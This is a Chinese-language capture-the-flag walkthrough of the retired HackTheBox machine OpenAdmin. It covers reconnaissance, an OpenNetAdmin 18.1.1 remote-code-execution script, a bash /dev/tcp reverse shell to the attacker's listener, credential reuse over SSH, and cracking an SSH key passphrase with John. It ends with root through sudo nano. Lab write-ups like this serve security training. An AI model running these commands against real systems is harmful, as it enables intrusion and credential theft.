hackthebox OPENADMIN靶机攻略
2020-05-27 11:10:00 Author: www.4hou.com(查看原文) 阅读量:275 收藏

今天给大家分享一个hackthebox的boot2root靶机OPENADMIN的writeup,这个靶机目前已经下线,想实战的可以充个会员,这样很多下线靶机就都可以玩了。

整体思路

信息收集

· nmap

· Dirb

· ona-rce Python脚本

漏洞利用

· nc

· sh脚本

· ssh_key爆破

· ssh登录

提权

· sudo利用

· 获取flag

通关思路

信息收集

信息收集就是使用多种方式收集目标系统的信息,我们可以使用多种工具,技巧来收集信息,还可以借助一些在线网站来收集。常用的就是nmap,dirsearch,dirb等。先用nmap扫一下。

nmap -sV -Pn 10.10.10.171

0.png

然后扫一下目录。

dirb http://10.10.10.171/

1.png 

扫到目录之后,我们挨个访问一下,发现一个登录页面。

http://10.10.10.171/music

2.png

访问登录页面,是一个ona的管理系统,版本是v18.1.1,查一下这个版本是否存在漏洞。

3.png

一番搜索之后,找到了这个版本的exp,下载exp,看看是怎么用的。

这个Python脚本使用其实非常简单,首先需要检查一下URL链接是不是存在漏洞,使用下面这条命令来检查:

python3 ona-rce.py check http://10.10.10.171/ona/

4.png

漏洞利用

确认链接存在漏洞,我们就可以使用下面这条命令来执行RCE:

python3 ona-rce.py exploit http://10.10.10.171/ona/

5.png

现在我们得到了一个非交互式shell,当前用户是www-data。接下来,我们在本地用nc监听,反弹一个shell回来。

/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.129/1234 0>&1'

6.png

本地监听

nc -lvp 1234

7.png

成功反弹,得到一个交互式shell。

先看一下当前目录下有什么东西,ls一下,发现很多目录,这个时候主要就是要细心了,对每个文件和目录都看一下,觉得可疑的就深入挖掘,这里我们看下local目录。

8.png

里面有一个config目录,进去看看,发现有一个数据库配置文件。

9.png

看看配置文件的内容是啥。

10.png

运气不错,找到了数据库的凭证。先保存好,一会儿肯定有用。

接着看下有几个用户,进入到home目录,ls一下。

11.png

发现有两个用户“jimmy”和“joanna”

上面端口扫描的时候,发现22端口是开放的。我们尝试ssh登录,用刚才在配置文件中找到的密码。

ssh [email protected]

12.png

运气不错,用jimmy用户成功登录。然后,我一般都会去查看下var目录,看看有什么东西,这里我们发现一个/var/www/internal目录,

13.png

在这个目录下,有一个main.php,那就看看这个php文件里是啥。

14.png

15.png

可以看到代码中输出了joanna的密钥,那么我们要想办法得到这个密钥。

这里我们可以使用LinEnum.sh这个脚本,它可以查看很多信息,比如运行了哪些服务,访问权限,版本信息,系统信息,用户信息等。

接下来就是常规操作了,下载脚本,本地开启HTTP服务,下载脚本到靶机的/var/temp目录下,添加执行权限,然后执行。

./LinEnum.sh

16.png

执行完之后,我们获取到了一些信息。

17.png

发现端口3306和52846开放,估计main.php是跑在52846端口上,用curl试试。

curl http://127.0.0.1:52846/main.php

结果如下:

18.png

果然输出了ssh密钥,现在我们可以切换到joanna用户了。不过还有一个问题,用了密钥还是需要密码。那首先,我们就需要把私钥转换成John the ripper可以破解的hash值,用ssh2john这个脚本就行,这个工具kali自带,直接用。

python /usr/share/john/ssh2john.py id_rsa >> hash.txt
john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt

19.png

然后用John就可以破解出密码“bloodninjas”。

现在我们就来切换到joanna用户

ssh -i id_rsa [email protected]

20.png

登录成功之后,当前目录下有一个user.txt,找到第一个flag。

提权

接着找root flag。常规操作,sudo -l 查看用户权限。

21.png

发现用户可以以root权限执行nano命令,无需密码。

Google一下nano怎么提权,在GTFObins这个网站上有很多提权命令,也有nano。我们可以用nano打来/opt/priv文件来提权为root。

执行以下命令。

reset; sh 1>&0 2>&0

22.png

 执行完之后,我们就是root权限了,查看root.txt,

23.png

至此,本篇靶机完。

本文翻译自:https://www.hackingarticles.in/hack-the-box-open-admin-box-walkthrough/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/44Q0
如有侵权请联系:admin#unsafe.sh